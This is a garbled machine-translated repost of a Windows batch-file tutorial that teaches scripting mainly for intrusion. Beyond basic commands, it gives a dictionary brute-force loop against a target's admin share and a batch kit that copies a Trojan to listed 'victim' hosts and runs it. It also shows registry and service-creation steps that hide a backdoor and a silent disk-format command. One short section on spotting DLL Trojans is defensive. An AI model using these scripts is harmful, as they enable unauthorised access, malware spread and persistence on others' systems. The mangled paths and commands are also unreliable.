Simple tutorial on BAT Program Design for Windows Batch Processing

Source: Internet
Author: User
Tags eol

Address: http://zhaohaolin.iteye.com/blog/1171031


Preface
Recent discussions on batch processing technology are hot, and there are also a lot of good batch processing Program Publishing, but without some knowledge, I am afraid it is difficult to understand and understand these batch processing files, let alone write them manually, it is better to teach people to fish." Because there seems to be no complete teaching material on the Internet, I took some time to write this article for new friends and all the friends who worked hard to achieve the freedom and sharing of the network.
A batch file is a non-formatted text file that contains one or more commands. Its file extension is. bat or. cmd. In the command prompt, click the name of the batch file. When you double-click the batch file, the system will call cmd.exe to run them one by one based on the order in which commands appear in the file. The use of batch files (also known as batch processing programs or scripts) can simplify daily or repetitive tasks. Of course, the main content of our version is to introduce some practical application of batch processing in the intrusion. For example, we will refer to using batch processing files to patch the system and batch implant Backdoor programs. Let's start our batch processing learning journey.
1. Introduction to simple batch processing internal commands
1. Echo command
Enable or disable the request echo function or display messages. If no parameters exist, the echo command displays the current echo settings.
Syntax
Echo [] [Message]
Sample: @ echo off/ECHO Hello World
In actual application, we will combine this command with the redirection symbol (also known as the pipeline symbol) to input some commands to a file in a specific format. this will be reflected in future examples.
2. @ command
The command after @ is not displayed. In the intrusion process (for example, you can use batch processing to format the enemy's hard disk), the other party cannot see the command you are using.
Sample: @ echo off
@ ECHO now initializing the program, please wait a Minite...
@ Format X:/Q/u/AutoSet (the/y parameter cannot be used for the format command. Fortunately, Microsoft has reserved the AutoSet parameter for us, the effect is the same as that of/y. Not supported by Win2k)
3. Goto command
Specify to jump to the tag. After the tag is found, the program processes the commands starting from the next line.
Syntax: goto label (label is a parameter that specifies the rows in the batch processing program to be switched .)
Sample:
If =={} goto noparms
If =={} goto noparms (if you do not understand the IF, % 1, and % 2 here, skip the step first, which will be explained in detail later .)
@ REM check parameters if null show usage
: Noparms
Echo usage: monitor. Bat serverip portnumber
Goto end
The name of a tag can start at will, but it is better to have a meaningful letter. Add a letter before it to indicate that the letter is a tag. The Goto command is based on this: to find the next step and jump to it. It is better to have some explanations so that others seem to understand your intention.
4. Rem command
The annotation command is equivalent to/* -------- */in the C language. It is not executed, but serves as a comment for others to read and modify.
Rem message
Sample: @ REM here is the description.
5. Pause command
When running the pause command, the following message is displayed:
Press any key to continue...
Sample:
@ Echo off
: Begin
Copy A: *. * D: Back
Echo please put a new disk into driver
Pause
Goto begin
In this example, all files on drive a's disk are copied to drive D: back. When the displayed note prompts you to put another disk into drive a, the pause command will suspend the program so that you can change the disk and press any key to continue processing.
6. Call Command
Call another batch processing program from one batch processing program without terminating the parent batch processing program. The Call Command accepts the labels used as the call target. If a call is used outside a script or batch file, it does not work in the command line.
Syntax
Call [[drive:] [path] filename [batchparameters] [: Label [arguments]
Parameters
[Drive:} [path] filename
Specifies the location and name of the batch processing program to be called. The filename parameter must have the. bat or. CMD extension.
7. Start command
Call an external program. All the DOS commands and command line programs can be called by the START command.
Common Intrusion parameters:
Minimum window size when Min starts
Separate starts a 16-bit windows program in a separate space
High starts applications in the high priority category
Realtime starts applications in the realtime priority category
Wait starts the application and waits for it to end
Parameters: these are parameters sent to the command/program.
When the executed application is a 32-bit GUI application, cmd. EXE returns a command prompt before the application is terminated. If it is executed in the Command Script, the new behavior will not occur.
8. Choice command (Win2k expired)
Choice uses this command to allow users to enter a single character to run different commands. The/C: parameter should be added for use, and C: should be followed by a prompt to enter characters without spaces. Its return code is 1234 ......
For example: choice/C: dimethyl defrag, mem, end
Will display
Defrag, mem, end [d, M, E]?
Sample:
The content of sample. bat is as follows:
@ Echo off
Choice/C: dimethyl defrag, mem, end
If errorlevel 3 goto defrag (the highest error code should be determined first)
If errorlevel 2 goto mem
If errotlevel 1 goto end
: Defrag
C: dosdefrag
Goto end
: Mem
Mem
Goto end
: End
Echo good bye
After this file is run, defrag, mem, end [d, M, E]? You can select d m e, and then the if statement will make a judgment. D indicates the program segment with the execution label as defrag, and M indicates the program segment with the execution label as mem, E indicates the program segment whose execution label is end. Each program segment finally jumps the program to the end label using goto end. Then, the program displays Good bye, and the file ends.
9. If command
If indicates whether the specified conditions are met, and then different commands are executed. There are three formats:
1. If "parameter" = "string" command to be executed
If the parameter is equal to the specified string, the condition is true. Run the command. Otherwise, run the next sentence. (Note that there are two equal signs)
For example, if "% 1" = "A" format:
If =={} goto noparms
If =={} goto noparms
2. If exist file name command to be executed
If a specified file exists, the condition is true. Run the command. Otherwise, run the next sentence.
For example, if exist config. sys edit config. sys
3. If errorlevel/if not errorlevel number command to be executed
If the return code is equal to the specified number, the condition is true. Run the command. Otherwise, run the next sentence.
For example, if errorlevel 2 goto X2
When the DOS program runs, a number is returned to DOS, which is called the error level or return code. Common return codes are 0 and 1.
10. For command
The for command is a complex command. It is mainly used to execute commands cyclically within a specified range of parameters. When using the for command in a batch file, use % variable to specify the variable
For in (SET) do command [commandlineoptions]
% Variable specifies a single letter replaceable parameter.
(SET) specifies one or more files. Wildcard characters can be used.
Command specifies the Command executed on each file.
Command-parameters specifies a parameter or command line switch for a specific command.
When using the for command in a batch file, use % variable instead of % variable to specify the variable. Variable names are case sensitive, so % I is different from % I
If the command extension is enabled, the following additional for command formats are supported:
For/d % variable in (SET) do command [command-parameters]
If the set contains wildcards, it is specified to match the directory name instead of the file name.
For/R [[drive:] path] % variable in (SET) do command [command-parameters]
Check the directory tree with [drive:] path as the root and point to the for statement in each directory. If no directory is specified after/R, the current directory is used. If the set is only a single point (.) character, the directory tree is enumerated.
For/L % variable in (START, step, end) do command [command-parameters]
This set indicates a sequence of numbers from start to end in incremental form. Therefore, (, 5) will generate a sequence 1 2 3 4 5, (5,-) will generate a sequence (5 4 3 2 1 ).
For/f ["options"] % variable in (filenameset) do command
For/f ["options"] % variable in ("string") do command
For/f ["options"] % variable in ('command') do command
Or, if usebackq is available:
For/f ["options"] % variable in (file-set) do command
For/f ["options"] % variable in ("string") do command
For/f ["options"] % variable in ('command') do command
Filenameset is one or more file names. Before proceeding to the next file in filenameset, each file has been opened, read, and processed. Processing includes reading files, dividing them into lines of text, and parsing each line into zero or more symbols. Then, call the for loop with the value of the variable string that has been found. By default,/F uses the first blank symbol separated by each line of each file. Skip blank lines. You can specify the Optional options parameter to replace the default resolution operation. The string with quotation marks contains one or more keywords that specify different resolution options. These keywords are:
EOL = C-refers to the end of a line comment character (just one)
Skip = N-indicates the number of rows ignored at the beginning of the file.
Delims = xxx-refers to the delimiter set. This replaces the default delimiter set of spaces and the hop key.
Tokens = x, y, M-n-indicates which symbol of each row is passed to the for itself of each iteration. This causes the format of the extra variable name to be a range. Use the N symbol to specify the last character asterisks in the M Symbol string. Then, the extra variables will be allocated for parsing the last symbol and accept the reserved Text of the row.
Usebackq-specify that the new syntax is used in the following situations: execute a character string that is enclosed in quotation marks as a command and use the character string as a text string command, and allow the file name to be expanded using double quotation marks in FI.
Sample1:
For/F "EOL =; tokens = 2, 3 * delims =," % I in (myfile.txt) do command
Analyzes each row in myfile.txt, ignores the rows whose names start with semicolons, and passes the second and third symbols in each row to the for program body. Use commas and/or spaces to define the delimiter. Note that the for program body statement references % I to get the second symbol, and references % J to get the third symbol, reference % K to get all the remaining symbols after the third symbol. For file names with spaces, you must enclose them in double quotation marks. To use double quotation marks in this way, you also need to use the usebackq option. Otherwise, double quotation marks are interpreted as defining a string to be analyzed.
% I is specifically described in the for statement. % J and % K are specifically described through the tokens = option. You can use tokens = to specify a maximum of 26 characters in a row, as long as you do not try to illustrate a variable higher than the letter "Z" or "Z. Remember that for variables are single letters, case sensitive, and global. At the same time, no more than 52 variables are in use.
You can also use for/F to analyze the logic on adjacent strings. The method is to enclose the filenameset between parentheses with single quotation marks. In this way, the string is treated as a single input line in a file.
Finally, you can use the for/F command to analyze the command output. The method is to convert the filenameset between parentheses into an anti-string. This string will be passed to a sub-cmd. EXE as a command line, and its output will be captured into the memory and Composition Component analysis. Therefore, the following example:
For/F "usebackq delims =" % I in ('set') Do @ echo % I
The names of environment variables in the current environment are enumerated.
In addition, the replacement of the for variable reference has been enhanced. You can now use the following
Option Syntax:
~ I-delete any quotation marks (") and expand % I
% ~ Fi-extend % I to a fully qualified path name
% ~ Di-only expand % I to one drive letter
% ~ Pi-only expand % I to one path
% ~ Ni-only expand % I to one file name
% ~ Xi-only expand % I to one file extension
% ~ The SI-extended path contains only short names.
% ~ Ai-extend % I to file attributes
% ~ Ti-extend % I to the date/time of the file
% ~ Zi-expand % I to the file size
% ~ $ Path: I-searches for the Directory of the environment variable in the path and expands % I to the first fully qualified name. If the environment variable is not defined or the file is not found, this key combination expands the Null String
You can combine modifiers to get multiple results:
% ~ DPI-only expand % I to one drive letter and Path
% ~ Nxi-only expand % I to one file name and extension
% ~ FSI-only expand % I to a complete path name with a short name
% ~ DP $ path: I-find the directory of the Environment Variable listed in the path and expand % I
To the first drive letter and path.
% ~ Ftzai-extended % I to the Dir similar to the output line
In the preceding example, % I and path can be replaced by other valid values. % ~ Syntax ends with a valid for variable name. Selecting an uppercase variable name similar to % I is easier to read and avoids confusion with case-insensitive key combinations.
The above is the official help of Ms. Here are a few examples to illustrate the use of the for command in intrusion.
Sample2:
Use the for command to crack the brute-force password of a target Win2k host.
We use net use ipipc $ "password"/u: "Administrator" to try this connection with the target host. When the connection succeeds, write down the password.
The main command is: For/F % I in (dict.txt) Do net use ipipc $ "% I"/u: "Administrator"
Use policito encrypt the adminpassword, and use the net use command to connect the % I value in dict.txt. Then pass the program running result to the find command --
For/F % I in (dict.txt) Do net use ipipc $ "% I"/u: "Administrator" | find ": Command completed successfully"> D: OK .txt, so Ko is ready.
Sample3:
Have you ever had a large number of bots waiting for you to plant backdoors and Trojans ?, When the number is very large, one thing that is very happy will become very depressing :). Article The use of batch files can simplify daily or repetitive tasks. So how to implement it? Well, you will understand it later.
There is only one main command: (when using the for command in the batch processing file, specify the variable to use % variable)
@ For/F "tokens = 1, 2, 3 delims =" % I in (victim.txt) do start call door. Bat % I % J % K
For the tokensusage method, see the example sample1. Here, upload the content in victim.txt to the parameter % I % J % K in door. bat.
However. bat is nothing more than using the net use command to establish an IPC $ connection, copy the trojan + backdoor to victim, and then use the return code (if errorlever =) to filter hosts that successfully planted the backdoor, and echo it out, or echo it to the specified file.
The content in delims = effecvivtim.txt is separated by an empty space. I want to see what the content in victim.txt is. It should be arranged according to the objects represented by % I % J % K, which is generally IP password username.
Code Prototype:
--------------- Cut here then save as a batchfile (I call it main. BAT )---------------------------
@ Echo off
@ If "% 1" = "" Goto usage
@ For/F "tokens = 1, 2, 3 delims =" % I in (victim.txt) do start call ipchack. Bat % I % J % K
@ Goto end
: Usage
@ Echo run this batch in DOS modle. Or just double-click it.
: End
--------------- Cut here then save as a batchfile (I call it main. BAT )---------------------------
----------------- Cut here then save as a batchfile (I call it door. BAT )-----------------------------
@ Net use % 1ipc $ % 3/u: "% 2"
@ If errorlevel 1 goto failed
@ Echo trying to establish the IPC $ connection ............ OK
@ Copy windrv32.exe % 1 ADMIN $ system32 & if not errorlevel 1 echo IP % 1 USER % 2 PWD % 3> ko.txt
@ Brief xec % 1 C: winntsystem32windrv32.exe
@ Export xec % 1 Net start windrv32 & if not errorlevel 1 echo % 1 backdoored> ko.txt
: Failed
@ Echo sorry can not connected to the victim.
----------------- Cut here then save as a batchfile (I call it door. BAT )--------------------------------
This is just an example of automatic post-planting door batch processing. The two batch processing and post-door program (windrv32.exe.pdf, And the batch xec.exe should be placed in a unified directory. Batch Processing content
Still scalable. For example, adding the log clearing + DDoS function and adding users regularly can enable automatic propagation (worm ). I will not describe it here. If you are interested, you can study it on your own.
2. How to Use parameters in batch files
Parameters can be used in batch processing, generally from 1% to 9%. shift is required when there are multiple parameters. This is rare and we will not consider it.
Sample1: fomat. bat
@ Echo off
If "% 1" = "A" format:
: Format
@ Format A:/Q/u/auotset
@ Echo Please insert another disk to driver.
@ Pause
@ Goto fomat
This example is used to consecutively format several floppy disks. Therefore, you need to input fomat. bat a in the DOS window ~ Pai_^
Sample2:
When we want to establish an IPC $ connection location, we always need to input a large number of commands. If this is not the case, we will make an error. Therefore, we should write some fixed commands into a batch, assign the IP password username in front of the parameter to this batch for processing, so that you do not need to execute commands every time.
@ Echo off
@ Net use 1% IPC $ "2%"/u: "3%" NOTE: Here password is the second parameter.
@ If errorlevel 1 echo connection failed
How about using parameters? You must have learned ^_^.
3. How to Use compound command)
1 .&
Usage: The First Command and the second command [& the third command...]

This method can be used to execute multiple commands at the same time, regardless of whether the command is successfully executed.

Sample:
C:> dir Z: & dir C: ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume serial number is 0078-59fb

Directory of C: ex4rch

.
..
14 sometips.gif
2 .&&
Usage: The first command & the second command [& the third command...]
This method can be used to execute multiple commands at the same time. When an error occurs, the subsequent commands will not be executed. If there is no error, all the commands will be executed;
Sample:
C:> dir Z: & dir C: ex4rch
The system cannot find the path specified.

C:> dir C: ex4rch & dir Z:
Volume in drive C has no label.
Volume serial number is 0078-59fb

Directory of C: ex4rch

.
..
14 sometips.gif
1 file (s) 14 bytes
2 Dir (s) 768,671,744 bytes free
The system cannot find the path specified.

This command may be relatively simple during backup, for example:
Dir file: // 192.168.0.1/database/backup. mdb & copy file: // 192.168.0.1/database/backup. mdb E: Backup
If the backup. MDB file exists on the remote server, run the Copy command. If the file does not exist, do not run the Copy command. This method can replace if exist :)
3. |

Usage: The First Command | the second command [| the third command...]

This method can be used to execute multiple commands at the same time. When a correct command is executed, the subsequent commands are not executed. If no correct command is displayed, all the commands are executed;

Sample:
C: ex4rch> dir sometips.gif | del sometips.gif
Volume in drive C has no label.
Volume serial number is 0078-59fb

Directory of C: ex4rch

14 sometips.gif
1 file (s) 14 bytes
0 Dir (s) 768,696,320 bytes free
Examples of combined commands:
Sample:
@ Copy trojan.exe % 1 ADMIN $ system32 & if not errorlevel 1 echo IP % 1 USER % 2 pass % 3> victim.txt
Iv. Use of pipeline commands
1. | command
Usage: The First Command | the second command [| the third command...]
Use the result of the first command as a parameter of the second command. Remember that this method is common in UNIX.

Sample:
Time/T> D: IP. Log
Netstat-n-p tcp | find ": 3389"> D: IP. Log
Start Explorer
See it? The terminal service allows us to customize the starting program for the user, so that the user can run the following BAT to obtain the IP address of the login user.
2.>,> output redirection command
Redirects a command or program output result to a specific file. The difference between> and> is that> clears the content of the original file and writes it to the specified file, >>> only the content is appended to the specified file without modifying the content.
Sample1:
Echo Hello World> C: hello.txt (stupid example ?)
Sample2:
Nowadays, DLL Trojans are prevalent. We know that system32 is a good place to hide and seek data. Many Trojans are sharp and drill their heads there. dll Trojans are no exception, to solve this problem, we can record the EXE and DLL files in the directory after installing the system and necessary applications: Run cmd -- convert the directory to system32 -- dir *. EXE> exeback.txt & dir *. DLL> dllback.txt. All exeand dllfile names in this example are recorded separately to exeback.txtand dllback.txt. if an exception is found in the future but the problem cannot be found using the traditional method, you should consider whether the system has already penetrated the DLL Trojan. in this case, we use the same command to record the EXE and DLL files under system32 to another exeback1.txtand dllback1.txt, and then run cmd -- FC exeback.txt exeback1.txt> diff.txt & FC dllback.txt dllback1 . TXT> diff.txt.(use the fccommand to compare the preceding two DLL and exe files and input the result to diff.txt). In this way, we can find multiple DLL and exe files, then, by checking the creation time, version, compression, and so on, you can easily determine whether it has been patronized by the DLL Trojan. No is the best. If yes, do not drop del directly. Use regsvr32/u Trojan first. DLL cancels the backdoor DLL file and moves it to the recycle bin. if the system does not report any exceptions, delete the file or submit it to the antivirus software company.
3. &, <&
& Write the output of one handle to the input of another handle.
<& Read the input from one handle and write it into another handle output.
These are not commonly used, so we will not introduce them much.
5. How to use a batch file to operate the Registry
During the intrusion process, the specific key values of the Registry are often operated back to achieve a certain purpose. For example, the residual key values under run are deleted to hide backdoors and Trojans. Or create a service to load the backend. Of course, we will also modify the Registry to reinforce the system or change a certain attribute of the system, which requires us to have a certain understanding of registry operations. Next we will first learn how to use it. reg file to operate the registry. (We can use batch processing to generate an reg file.) registry operations are typically created, modified, and deleted.
1. Create
There are two ways to create a subkey)

Create a file with the following content:

Windows Registry Editor Version 5.00
[Hkey_local_machinesoftwaremicrosofthacker]

Then run the script, and you have created a subitem named "hacker" under hkey_local_machinesoftwaremicrosoft.
Create a project name.
This file format is a typical file format, which is consistent with the file format exported from the Registry. The content is as follows:
Windows Registry Editor Version 5.00
[Hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]
"Invader" = "ex4rch"
"Door" = C: winntsystem32door.exe
"Autodos" = DWORD: 02
In this way, under [hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]
The following three projects are created: invader, door, and about.
The invader type is "string value"
The door type is "Reg SZ value"
The autodos type is "DWORD Value"
2. Modify
Modification is relatively simple. You only need to export the project you want to modify, use NotePad to modify it, and then import it (Regedit/s.
3. Delete
To delete a project name, create the following file:

Windows Registry Editor Version 5.00
[Hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]
"Ex4rch" =-

Run this script. "ex4rch" under [hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun] is deleted;

Let's take a look at how to delete a subitem and create the following script:

Windows Registry Editor Version 5.00
[-Hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]

Run this script. [hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun] is deleted.
I believe you have mastered the. reg file. Now the goal is to use batch processing to create a. reg file for specific content. Remember the redirection symbol we mentioned earlier to easily create a specific type of file.
Samlpe1: for example, to generate the following registry file
Windows Registry Editor Version 5.00
[Hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]
"Invader" = "ex4rch"
"Door" = HEX: 255
"Autodos" = DWORD: 000000128
You only need:
@ Echo Windows Registry Editor Version 5.00> sample. Reg

@ Echo [hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]> sample. Reg
@ Echo "invader" = "ex4rch"> sample. Reg
@ Echo "Door" = 5> C: winntsystem32door.exe> sample. Reg
@ Echo "autodos" = DWORD: 02> sample. Reg
Samlpe2:
When using old Trojans, a key value may be generated under [hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun (runonce, runservices, runexec)] in the Registry to enable automatic startup of Trojans. however, this easily exposes the path of the Trojan program, causing the Trojan to be scanned and killed. If the trojan program is registered as a system service, the trojan program is relatively secure. In the following example, irctrojan is used as an example (named windrv32.exe)
@ Start windrv32.exe
@ Attrib + H + R windrv32.exe
@ Echo [hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun]> patch. dll
@ Echo "windsnx" =-> patch. dll
@ SC .exe create windriversrv type = kernel start = auto displayname = windowsdriver binpath = C: winntsystem32windrv32.exe
@ Regedit/s patch. dll
@ Delete patch. dll

@ REM remove the startup Item of dsnxdein the registration table, use SC .exe to register it as a critical service of the system, set its attributes to hidden and read-only, and config as self-starting]
@ REM is not safer.

You can reference this article through this link: http://starsblue.bokee.com/viewdiary.13821805.html

End

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.